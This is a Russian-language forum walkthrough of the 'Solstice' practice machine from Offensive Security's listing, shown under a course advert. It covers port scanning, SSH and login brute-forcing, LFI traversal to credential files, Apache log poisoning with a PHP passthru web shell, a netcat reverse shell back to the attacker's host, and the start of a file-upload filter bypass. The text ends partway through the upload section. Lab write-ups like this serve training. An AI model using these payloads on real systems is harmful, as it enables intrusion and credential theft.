• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

CTF CTF Soltice от Offensive Security

Qulan

Red Team
06.12.2020
171
509
BIT
348
Приветствую!

Хотел бы поделиться прохождением коробки из листинга Offensive Security. Отмечу, что эта машина стала первой которую я старался проходить детально, без цели просто пройти и поставить галочку.
Name: Soltice
Difficult level (Offensive Security): Easy
Difficult level Autor: Intermediate

Discovery and Scanning:

1. Сканируем все порты

Код:
┌─[qulan@parrot]─[~]
└──╼ $sudo nmap -p- -T5 192.168.1.191 -vv
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-01 11:47 EEST
------------------------------------------------------
Nmap scan report for 192.168.1.191
Host is up, received arp-response (0.00050s latency).
Scanned at 2021-06-01 11:47:42 EEST for 4s
Not shown: 65524 closed ports
Reason: 65524 resets
PORT      STATE SERVICE      REASON
21/tcp    open  ftp          syn-ack ttl 64
22/tcp    open  ssh          syn-ack ttl 64
25/tcp    open  smtp         syn-ack ttl 64
80/tcp    open  http         syn-ack ttl 64
139/tcp   open  netbios-ssn  syn-ack ttl 64
445/tcp   open  microsoft-ds syn-ack ttl 64
2121/tcp  open  ccproxy-ftp  syn-ack ttl 64
3128/tcp  open  squid-http   syn-ack ttl 64
8593/tcp  open  unknown      syn-ack ttl 64
54787/tcp open  unknown      syn-ack ttl 64
62524/tcp open  unknown      syn-ack ttl 64
MAC Address: 08:00:27:82:6E:13 (Oracle VirtualBox virtual NIC)

2. Определяем версии сервисов/служб, запускаем необходимые скрипты, определяем ОС

Код:
┌─[qulan@parrot]─[~]
└──╼ $sudo nmap -p 21,22,25,80,139,445,2121,3128,8593,54787,62524 -A -T5 192.168.1.191 -vv
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-01 11:51 EEST

PORT      STATE SERVICE     REASON         VERSION
21/tcp    open  ftp         syn-ack ttl 64 pyftpdlib 1.5.6
| ftp-syst:
|   STAT:
| FTP server status:
|  Connected to: 192.168.1.191:21
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
22/tcp    open  ssh         syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 5b:a7:37:fd:55:6c:f8:ea:03:f5:10:bc:94:32:07:18 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWAl1JMEsT6kbFmhkFFIZbd2aH3DuBpmLjo1MvWSSFsUlQ+rN9wQ8y469ng7vKZDx19ke+JZ9jUcuJAu4zQ6BHjHDcLTy44WJCESD4oACMCK6+tlMneuINf6KTMr3urfvkvlULi2ffNbMl6Ko9gS/Oqh8Cm9HyAXGTK5MVgmW39QFTXdn7ByQMnnXjKmJ+5nXbf9c9Al9JJCFQAe0irCq2w3ubylh83SwPWsunapn0pW8Czsm2nsFL6aRXCOoNeK7/GmcC8lqENMnUIVRauhpDR3radZ4Uv4ejzHL8H+IklpgVRqBiuzRiqHpGlotNYadcArbYZ4auDwibrtRwgTlD
|   256 ab:da:6a:6f:97:3f:b2:70:3e:6c:2b:4b:0c:b7:f6:4c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM9EuXzK3hXcn3ml6Kj69Bo1DACMk1AZWWm9wgPGIyPBQyQLXLazAtoqEP1phT1BNmtyAvScCwsydQwUsRH/3vA=
|   256 ae:29:d4:e3:46:a1:b1:52:27:83:8f:8f:b0:c4:36:d1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIATUyTSmh1Tep0cnIVXvQBD6IQTjI8TBEmQEba1Fzkv2
25/tcp    open  smtp        syn-ack ttl 64 Exim smtpd 4.92
| smtp-commands: solstice Hello nmap.scanme.org [192.168.1.9], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp    open  http        syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp   open  netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack ttl 64 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
2121/tcp  open  ftp         syn-ack ttl 64 pyftpdlib 1.5.6
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drws------   2 www-data www-data     4096 Jun 18  2020 pub
| ftp-syst:
|   STAT:
| FTP server status:
|  Connected to: 192.168.1.191:2121
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
3128/tcp  open  http-proxy  syn-ack ttl 64 Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
8593/tcp  open  http        syn-ack ttl 64 PHP cli server 5.5 or later (PHP 7.3.14-1)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
54787/tcp open  http        syn-ack ttl 64 PHP cli server 5.5 or later (PHP 7.3.14-1)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
62524/tcp open  ftp         syn-ack ttl 64 FreeFloat ftpd 1.00
MAC Address: 08:00:27:82:6E:13 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6

Uptime guess: 35.741 days (since Mon Apr 26 18:04:57 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: solstice; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
| nbstat: NetBIOS name: SOLSTICE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   SOLSTICE<00>         Flags: <unique><active>
|   SOLSTICE<03>         Flags: <unique><active>
|   SOLSTICE<20>         Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 11147/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 38069/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 15631/udp): CLEAN (Failed to receive data)
|   Check 4 (port 38123/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: \x00
|   NetBIOS computer name: SOLSTICE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-06-01T04:52:00-04:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-06-01T08:51:59
|_  start_date: N/A

3. Приводим полученную информацию в приемлемый рабочий вид

Код:
21/tcp    open  ftp         syn-ack ttl 64 pyftpdlib 1.5.6
| ftp-syst:
|   STAT:
| FTP server status:
|  Connected to: 192.168.1.191:21
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.

2121/tcp  open  ftp         syn-ack ttl 64 pyftpdlib 1.5.6
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drws------   2 www-data www-data     4096 Jun 18  2020 pub
| ftp-syst:
|   STAT:
| FTP server status:
|  Connected to: 192.168.1.191:2121
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.

62524/tcp open  ftp         syn-ack ttl 64 FreeFloat ftpd 1.00

139/tcp   open  netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack ttl 64 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)

22/tcp    open  ssh         syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0

25/tcp    open  smtp        syn-ack ttl 64 Exim smtpd 4.92
| smtp-commands: solstice Hello nmap.scanme.org [192.168.1.9], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP

80/tcp    open  http        syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS

3128/tcp  open  http-proxy  syn-ack ttl 64 Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved

8593/tcp  open  http        syn-ack ttl 64 PHP cli server 5.5 or later (PHP 7.3.14-1)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS

54787/tcp open  http        syn-ack ttl 64 PHP cli server 5.5 or later (PHP 7.3.14-1)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS

OS : Linux(Debian)

4. Ищу готовые эксплоиты в интересующих меня сервиисах

pyftpdlib 1.5.6 - не найдено
Exim smtpd 4.92 - не найдено
Squid http proxy 4.6 - не найдено
FreeFloat ftpd 1.00 - найдено, но только под ОС Windows

Discovery and Scanning

И так, имея на руках всю информацию, принемаю решение двигаться постепенно по списку вниз и соответственно начну с FTP. Тут меня интересует только дрступ anonymous

21/tcp open ftp syn-ack ttl 64 pyftpdlib 1.5.6

Проверяю на досту следующие пары login : password:
Код:
anonymous :
anonymous : anonymous
ftp : ftp
И все без результата. Ок двигаюсь дальше!

2121/tcp open ftp syn-ack ttl 64 pyftpdlib 1.5.6

Код:
┌─[qulan@parrot]─[~]
└──╼ $ftp
ftp> open 192.168.1.191 2121
Connected to 192.168.1.191.
220 pyftpdlib 1.5.6 ready.
Name (192.168.1.191:qulan): anonymous
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Внутри вижу каталог /pub и смотрю что внутри:

Код:
ftp> ls
200 Active data connection established.
125 Data connection already open. Transfer starting.
drws------   2 www-data www-data     4096 Jun 18  2020 pub
226 Transfer complete.
ftp> cd pub
250 "/pub" is the current directory.
ftp> ls
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.

Попробую туда положить файл, вдруг удасться и в дальнейшем найду способ к нему обратиться

Код:
ftp> put put_file
local: put_file remote: put_file
200 Active data connection established.
550 Not enough privileges

Но нет, бросаю и двигаюсь дальше по списку'

62524/tcp open ftp syn-ack ttl 64 FreeFloat ftpd 1.00

Код:
┌─[qulan@parrot]─[~]
└──╼ $ftp
ftp> open 192.168.1.191 62524
Connected to 192.168.1.191.
dir
help
blablabla

И не устанавливается соединение((( Попробую пнуть nc и снять баннер

Код:
┌─[✗]─[qulan@parrot]─[~]
└──╼ $nc 192.168.1.191 62524
sdsd
220 FreeFloat Ftp Server (Version 1.00).

Баннер слизывается, но получить соединение мне так и не удалось((( Буду двигаться дальше...

139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)

Из всего что уалось получить, это логин системного пользователя:

Код:
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\miguel (Local User)

Не долго думая, сразу натравливаю hydra на 22 порт с целью выявить слабый пароль и получить доступ:

Код:
┌─[✗]─[qulan@parrot]─[~]
└──╼ $hydra -l miguel -P /home/qulan/wordlists/rockyou.txt 192.168.1.191 ssh -vV -t 16

Пока гидра трудится, тружусь и я. Двигаюсь дальше!

25/tcp open smtp syn-ack ttl 64 Exim smtpd 4.92

Пробую получить список пользователей:

Код:
┌─[qulan@parrot]─[~]
└──╼ $smtp-user-enum -U /home/qulan/wordlists/SecLists/Usernames/top-usernames-shortlist.txt -t 192.168.1.191
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /home/qulan/wordlists/SecLists/Usernames/top-usernames-shortlist.txt
Target count ............. 1
Username count ........... 17
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............

######## Scan started at Tue Jun  1 12:42:33 2021 #########
######## Scan completed at Tue Jun  1 12:42:34 2021 #########
0 results.

И ничего(((( Печально конечно, но не критично! Перехожу в веб апликухам
За пару месяцев я достаточно много времени уделил OWASP Guide и сформировал небольшой чек -лист по которому и пройдусь.

http://192.168.1.191/

Пустая страница!

Web server: Apache httpd 2.4.38
Lang/Framework: None
Hidden Directory:
Код:
┌─[qulan@parrot]─[~]
└──╼ $gobuster dir -u http://192.168.1.191/ -w wordlists/dir/directory-list-2.3-medium.txt -e
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.191/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                wordlists/dir/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/06/01 12:52:22 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.191/app                  (Status: 301) [Size: 312] [--> http://192.168.1.191/app/]
http://192.168.1.191/javascript           (Status: 301) [Size: 319] [--> http://192.168.1.191/javascript/]
http://192.168.1.191/backup               (Status: 301) [Size: 315] [--> http://192.168.1.191/backup/]

/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None

Any comments? - None
Any metadata? - None
Any JS files? - None

http://192.168.1.191:3128/

1622745225400.png


Web server:Squid http proxy 4.6
Lang/Framework: None
Hidden Directory:
Попытка прогнать gobuster'ом не увенчалась успехом из-за крайне низкой скорости сканирования и я отключился

Код:
┌─[✗]─[qulan@parrot]─[~]
└──╼ $gobuster dir -u http://192.168.1.191:3128/ -w wordlists/dir/directory-list-2.3-medium.txt -e -b "400"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.191:3128/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                wordlists/dir/directory-list-2.3-medium.txt
[+] Negative Status codes:   400
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/06/01 13:01:56 Starting gobuster in directory enumeration mode
===============================================================
Progress: 2868 / 220561 (1.30%)^C
[!] Keyboard interrupt detected, terminating.

/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None

Any comments? - None
Any metadata? - None
Any JS files? - None

Почитав на тему Squid proxy в сети, пришол к выводу что это ошибка не верной настройки сервера и каких-то скрытых фич там просто нет.

http://192.168.1.191:8593/

1622745270200.png


Web server:pHP/7.3.14
Lang/Framework: PHP
Hidden Directory: None
/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None

Any comments? - None
Any metadata? - None
Any JS files? - None

Перейдя по линку Book List получаем строку в браузере типа http://192.168.1.191:8593/index.php?book=list
Пробую выявить LFI

1622745328000.png


Вуаля!!! Найдена уязвимость.
Теперь во всех традициях CTF я должен заюзать эту уязвимость и двинуть дальше, но я зафиксирую себе эту инфу и перейду к следующему порту.

http://192.168.1.191:54787/

Пустая страница!

Web server:pHP/7.3.14
Lang/Framework: PHP
Hidden Directory:
Код:
┌─[qulan@parrot]─[~]
└──╼ $gobuster dir -u http://192.168.1.191:54787/ -w wordlists/dir/directory-list-2.3-medium.txt -e --exclude-length "0"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.191:54787/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                wordlists/dir/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          0
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/06/01 13:20:27 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.191:54787/project              (Status: 200) [Size: 3565]

/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None

Any comments? - None
Any metadata? - None
Any JS files? - None


1622745418200.png


Web server:pHP/7.3.14
Lang/Framework: PHP
Hidden Directory:
- нечего интересного

/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None

Any comments? - None
Any metadata? - None
Any JS files? - Yes!

И так, имеем форму авторизации File Thingie, что ого такое хрен знает. Топаю читать..

1622745483900.png


Вообщем это просто файловый менеджер. Смотрю что есть на него на exploitdb

Код:
┌─[qulan@parrot]─[~]
└──╼ $searchsploit -w File Thingie
----------------------------------------------------------------------------------------------------------------- --------------------------------------------
 Exploit Title                                                                                                   |  URL
----------------------------------------------------------------------------------------------------------------- --------------------------------------------
File Thingie 2.5.5 - File Security Bypass                                                                        | https://www.exploit-db.com/exploits/12617
FileThingie 2.5.7 - Arbitrary File Upload                                                                        | https://www.exploit-db.com/exploits/47349
----------------------------------------------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results
Papers: No Results

В теге <title> нахожу версию 2,5,7

Читаю описание эксплоита и понимаю, что для реализации требуется авторизоваться))) И тут начинаются танцы с бубном.

Пробую данные от балды чтоб понять какую ошибку возвращает приложени и меня редиректит на пустую страницу index.php((( что за....
Топаю читать..
В Гугле нахожу пару ресурсов где установлен File Thingie

1622745578700.png


И тут все работает как надо. Ввожу не верные данные получаю по шапке. Посмотрю какой запрос отправляется во время попытки входа

Запрос:

Форма на сторонем ресурсе

Код:
POST /index.php HTTP/1.1
Host: www.vector-archive.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: http://www.vector-archive.org
DNT: 1
Connection: close
Referer: http://www.vector-archive.org/index.php?act=error
Cookie: PHPSESSID=2f21edf464f7cc30caf4d3c341146115d586367d
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
 
ft_user=test&ft_pass=test&act=dologin

Моя форма

Код:
POST /index.php HTTP/1.1
Host: 192.168.1.191:54787
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.1.191:54787
DNT: 1
Connection: close
Referer: http://192.168.1.191:54787/project
Cookie: PHPSESSID=17c8hfb24nm9pihg84kld685ac
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
 
ft_user=fgfgf&ft_pass=fgfg&act=dologin

Ответ:

Стороний сайт
Код:
HTTP/1.1 302 Found
date: Thu, 03 Jun 2021 18:44:30 GMT
server: Apache/2.4.29 (Debian)
expires: Thu, 19 Nov 1981 08:52:00 GMT
cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache
location: http://www.vector-archive.org/index.php?act=error
vary: Accept-Encoding
accept-ranges: bytes
Content-Length: 0
content-type: text/html; charset=UTF-8
connection: close

Моя форма:

Код:
HTTP/1.1 200 OK
Host: 192.168.1.191:54787
Date: Thu, 03 Jun 2021 18:45:34 GMT
Connection: close
X-Powered-By: PHP/7.3.14-1~deb10u1
Content-type: text/html; charset=UTF-8

И как видим, в моем случает ответ совершенно разный, он даже не обрабатывается нечем, это просто редирект. В какой-то момент я подумал что это фейк, но решил покопаться в ответа гугла. И через какое-то время наткнулся на статью по установки это менеджера

Из заинтересовавшей меня информации мне приглянулись 2 вещи:

Deploying File Thingie on your server couldn't be easier. Grab the latest release of the application and unpack the downloaded archive. Rename the config.sample.php to config.php, open it in a text editor, and specify the desired user name and password as follows:

define("USERNAME", "user");
define("PASSWORD", "password");


Файл с настройками config.php который хранит креды и

chown -R www-data:www-data /path/to/filethingie/root/directory

That's all there is to it. Point your browser to (replace 127.0.0.1 with the actual IP address or domain name of your server), and log in to the file browser using the specified credentials.


дефолтный каталог /filethingie

Решаю подставить имя каталога в строку http://192.168.1.191:54787/project и передомной настоящая форма авторизации

1622746113700.png

То что сейчас произошло, относится к разделу OWASP Guide 4.1.4 , где основной задачей является определение адреса приложения и только что эта задача была успешно решена!
Конечно можно было не возится и пойти на эксплуатацию LFI, но тогда многое бы не получилось закрепить на практике. А так как я хотел бы изначально заложить верные привычки, то приходится возится)))

OWASP Guide 4.4.2 Testing for Default Credentials

Одной из первостепенных задач, если перед нами форма авторизации, является проверка на креды по дефолту.

Запуская Burp, ловлю post запрос и отправляю его в Intruder. Собираю Cluster Bomb, где оба paylod'а имеют один и тот же словарь и запускаю!

1622746362900.png


Как видим статус 302 и 200 везде но в одном случае размер ответа иной. Из 10000 вариантов только пара admin : admin дала статус 302 и размер 503
Пробую войти под этими данными:
1622746469200.png


И мы внутри!

3.Exploitation
Что мы имеем по итогу?

http://192.168.1.191:8593/index.php?book=list - LFI уязвимость
http://192.168.1.191:54787/project/filethingie - Уязвимость связанная с загрузкой файла

Двигаемся по порядку, а значит попробуем проэксплуатировать LFI!

Exploitation LFI

Из того что знаю я (пока что), я могу:
  1. Попробовать почитать /etc/shadow и в случае успеха получить хеш пароля системного пользователя
  2. Попробовать прочитать id_rsa пользователя miguel и reet
  3. Попробовать почитать .bash_history файл пользователя miguel, возможно там есть креды
  4. Попробовать получить доступ к конфигурационным файлам веб -сервера Apache
http://192.168.1.191:8593/index.php?book=../../../../etc/shadow - без результата
http://192.168.1.191:8593/index.php?book=../../../../home/miguel/.ssh/id_rsa - без результата
http://192.168.1.191:8593/index.php?book=../../../../root/.ssh/id_rsa - без результата
http://192.168.1.191:8593/index.php?book=../../../../home/miguel/.bash_history - без результата
http://192.168.1.191:8593/index.php?book=../../../../var/log/apache2/access.log - есть контакт)))

1622746533200.png


Раз у нас есть возможность обратиться к файлу access.log, то мы можем попробовать применить технику "Отравление лог файла". Суть данного метода заключается в том, что любой запрос к серверу сохраняется в лог файлах, соответственно это дает нам возможность отправить запрос содержащий PHP скрипт. Попробуем для начала получить доступ к phpinfo()
С помощью команды nc 192.168.1.191 80 устанавлтваем соединение. Далее формируем GET запрос:
GET /<?php phpinfo(); ?>

Код:
┌─[qulan@parrot]─[~]
└──╼ $nc 192.168.1.191 80
GET /<?php phpinfo(); ?>
HTTP/1.1 400 Bad Request
Date: Wed, 02 Jun 2021 08:51:08 GMT
Server: Apache/2.4.38 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address>
</body></html>

Если внедрение скрипта прошло успешно, то обновив страницу в браузере получим это

1622746628900.png


Супер, теперь изменим GET запрос на GET /<?php passthru($_GET['cmd']); ?>>

Код:
┌─[qulan@parrot]─[~]
└──╼ $nc 192.168.1.191 80
GET /<?php passthru($_GET['cmd']); ?>
HTTP/1.1 400 Bad Request
Date: Wed, 02 Jun 2021 09:01:31 GMT
Server: Apache/2.4.38 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address>
</body></html>

Теперь:
  1. Ставим листенера nc -lvnp 4444
  2. Обновляем страницу с логом
  3. Обращаемся к параметру cmd путем подстановки в адресс &cmd=nc+192.168.1.9+4444+-e+/bin/bash

И мы внутри

1622746722700.png


Exploitation Upload Form File

Попробуем теперь получить доступ через менеджер файлов по адрессу http://192.168.1.6:54787/project/filethingie/
В прошлый раз мы находили эксплоит, но поправде сказать я не смог его реализовать. Файл загрузил, но распаковать не удалось. Но из него я прочитал, что для запуска шелл нам нужно будет просто обратится к файлу напрямую. Давайте попробуем загрузить шелл самостоятельно!

Я уже пробовал загружать файл и он был залит, но из теории мы знаем что:
  1. Файлы фильтруются на стороне клиента
  2. Файлы фильтруются на стороне сервера
  3. И могут фильтроватся на обеих сторонах
Так же файлы могут фильтроваться по:
  1. Имени
  2. Типу
  3. Размеру
  4. Содержимому
  5. MIME
Двигаемся по порядку
Смотрим есть ли какие либо скрипты на стороне клиента
Код:
<script type="text/javascript" charset="utf-8">
    $(document).ready(function(){
        // Set focus on login username.
        if (document.getElementById("ft_user")) {
            document.getElementById("ft_user").focus();
        }
        // Set global object.
        var ft = {fileactions:{}};
        // Prep upload section.
        $('#uploadsection').parent().ft_upload({
          header:"Files for upload:",
          cancel: "Cancel upload of this file",
          upload: "Now uploading files. Please wait..."
        });
        // Prep file actions.
        $('#filelist').ft_filelist({
          fileactions: ft.fileactions,
          rename_link: "Rename",
          move_link: "Move",
          del_link: "Delete",
          duplicate_link: "Duplicate",
          unzip_link: "Unzip",
          chmod_link: "chmod",
          symlink_link: "Symlink",
          rename: "Rename to:",
      move: "Move to folder:",
      del: "Do you really want to delete file?",
      del_warning: "You can only delete empty folders.",
      del_button: "Yes, delete it",
      duplicate: "Duplicate to file:",
      unzip: "Do you really want to unzip file?",
      unzip_button: "Yes, unzip it",
      chmod: "Set permissions to:",
      symlink: "Create symlink called:",
          directory: "",
          ok: "Ok",
          formpost: "filethingie",
          advancedactions: "false"
        });

        // Sort select box.
        $('#sort').change(function(){
          $('#sort_form').submit();
        });
        // Label highlight in 'create' box.
    $('#new input[type=radio]').change(function(){
      $('label').removeClass('label_highlight');
      $('label[@for='+$(this).attr('id')+']').addClass('label_highlight');
    });
$('#searchform').ft_search({
    directory: '',
    formpost: 'filethingie',
    header: 'Results',
    loading: 'Fetching results&hellip;'
});
ft.fileactions.edit = {type: "sendoff", link: "Edit", text: "Do you want to edit this file?", button: "Yes, edit file"};    });

На стороне клиента у нас есть скрипт, но судя из его содержимого он отвечает не за фильтрацию, а это говорит о том, что фильтрации нет.

Смотрим фильтруется ли файл на стороне сервера

1622746970200.png


При попытке залить php файл мы получаем сообщение о том, что этот файл не может быть загружен. Значит есть фильтрация по типу файла. Так же можно заметить ограничение на его размер в 2 мб.
Имеем пока :
  1. фильтр по типу
  2. фильтр по размеру
Перехватим запрос бурпом и через Repiater поиграем с отправными данными

Попробуем пофильтровать по имени и получаем статус 302. Ок, думаю что фильтрации по имени нет
Попробуем фильтрацию по MIME

Content-Type: application/x-php
Заменим значение на image/jpeg и получаем 302. Ок, а теперь поменяем разширение файла на jpeg

1622747086200.png


Хорошо, теперь точно знаем что нет фильрации по содержимому. Осталось проянить, фильрации имеется по типу и MIME, или только по типу
Возвращаю значение Content-Type: application/x-php
И все загружается)))

Отлично, теперь мы с уверенностью можем говорить о наличии фильтрации по типу файла. Будем пробовать обойти
Путем перебора разных типов php файлов у меня вышло вот это:

1622747254600.png


При попытке обратится к любому из файлов получаю вот это:

1622747293400.png


То есть файлы выводятся на экран но не исполняются(((
Попытки получить веб шелл тоже нечего не принесли. Вернувшись к эксплоиту, понимаю что вся техника сводится к трем шагам.
  1. Запаковываем шелл в zip архив
  2. Распаковываем его
  3. Исполняем php файл
Возвращаюсь к скрипту на стороне клиента и замечаю вот такую штуку:

Код:
// Prep file actions.
        $('#filelist').ft_filelist({
          fileactions: ft.fileactions,
          rename_link: "Rename",
          move_link: "Move",
          del_link: "Delete",
          duplicate_link: "Duplicate",
          unzip_link: "Unzip",
          chmod_link: "chmod",
          symlink_link: "Symlink",
          rename: "Rename to:",
      move: "Move to folder:",
      del: "Do you really want to delete file?",
      del_warning: "You can only delete empty folders.",
      del_button: "Yes, delete it",
      duplicate: "Duplicate to file:",
      unzip: "Do you really want to unzip file?",
      unzip_button: "Yes, unzip it",
      chmod: "Set permissions to:",
